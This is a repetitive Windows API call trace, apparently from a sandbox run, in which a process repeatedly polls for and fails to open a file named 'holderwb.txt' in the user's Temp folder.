	[0099.323] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.323] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.323] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.324] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.324] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.324] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.327] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.327] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.327] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.328] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.328] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.328] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.328] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.328] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.328] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.329] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.329] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.329] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.329] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.330] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.330] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.330] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.331] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.331] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.331] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.331] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.331] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.331] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.332] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.332] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.332] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.332] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.332] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.332] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.332] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.333] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.333] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.333] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.333] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.333] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.333] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.334] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.334] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.334] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.334] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.335] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.335] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.335] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.336] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.336] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.336] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.336] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.336] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.336] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.337] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.337] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.337] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.337] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.337] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.337] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.338] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.338] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.338] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.338] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.338] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.339] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.339] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.339] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.339] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.340] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
